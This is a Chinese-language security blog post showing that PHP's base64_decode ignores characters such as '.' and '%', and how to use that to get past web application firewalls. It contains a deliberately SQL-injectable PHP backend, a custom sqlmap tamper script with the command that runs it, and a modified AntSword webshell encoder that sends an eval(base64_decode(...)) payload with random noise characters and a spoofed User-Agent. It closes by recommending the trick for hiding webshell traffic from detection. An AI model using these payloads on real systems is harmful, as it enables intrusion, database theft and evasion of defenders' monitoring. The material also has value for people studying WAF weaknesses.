0x01

PHP base64解码时,出现. % 等符号,会忽略这些符号,以下内容经过phpbase64解码都会得到相同的结果

payload结果
d%GV;zd.A==test
d.GV:zdA==test
dGVzdA==test

通过遍历可见字符来获取可以使用的符号

<?php
for($i=32;$i<128;$i++){
$str='TW'.chr($i).'82'.chr($i).'MA==';
if (base64_decode($str)=='Mo60')
echo chr($i);
}
?>

得到

!"#$%&'()*,-.:;<=>?@[\]^_`{|}~

0x02

当waf不能解码而后端能解码从而绕过waf,这里列举两个情况,

  • sql注入
  • 连接webshell

1.sql注入

后端代码,这里直接使用information_schema数据库就不用配置其他环境填写密码即可

<?php
$con=mysqli_connect('localhost','root','root','information_schema');
if($con){
$name=base64_decode(@$_GET['name']);
mysqli_query($con,"SELECT table_name FROM tables where table_name='$name'");
}else{
exit("Error!");
}
?>

这里直接用sqlmap的tamper 然后选取一部分可用来字符来随机

#!/usr/bin/env python


import random

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
payload = encodeBase64(payload, binary=False)
retVal=''
for i in payload:
retVal=retVal+str(i)+str(random.choice('!%()*,-.:;^_{|}~'))
return retVal

运行语句and效果图

sqlmap -u "http://127.0.0.1/?name=A" -p name -dbms mysql -v 3  --batch --tamper base64encodebypass --technique T

51069-2cv0b55iiex.png
67240-n5sbvz0qp4i.png

2.连接webshell

这里来改造一下蚁剑的默认base64编码器,选取了.%这两个字符在payload里面随机添加

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {

// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
let temp = ['.', '%'];
//ua头
ext.opts.httpConf.headers['User-Agent']='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36';

// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

let newStr = '';
let number = 0;
for (var i = 0 ; i < data[randomID].length; i++)
{
number= parseInt(Math.random() * 2);
newStr +=`${data[randomID].charAt(i)}${temp[number]}`;
}
data[randomID]=newStr;
// ########## 请在上方编写你自己的代码 ###################

// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

设置代理到burp可以看到数据包

11300-5cxc2gxd3y.png

用处肯定不止上面演示的那几种,还可以拿来免杀webshell流量等,只要有用到base64的地方均可使用

最后修改:2022 年 01 月 20 日
如果觉得我的文章对你有用,请随意赞赏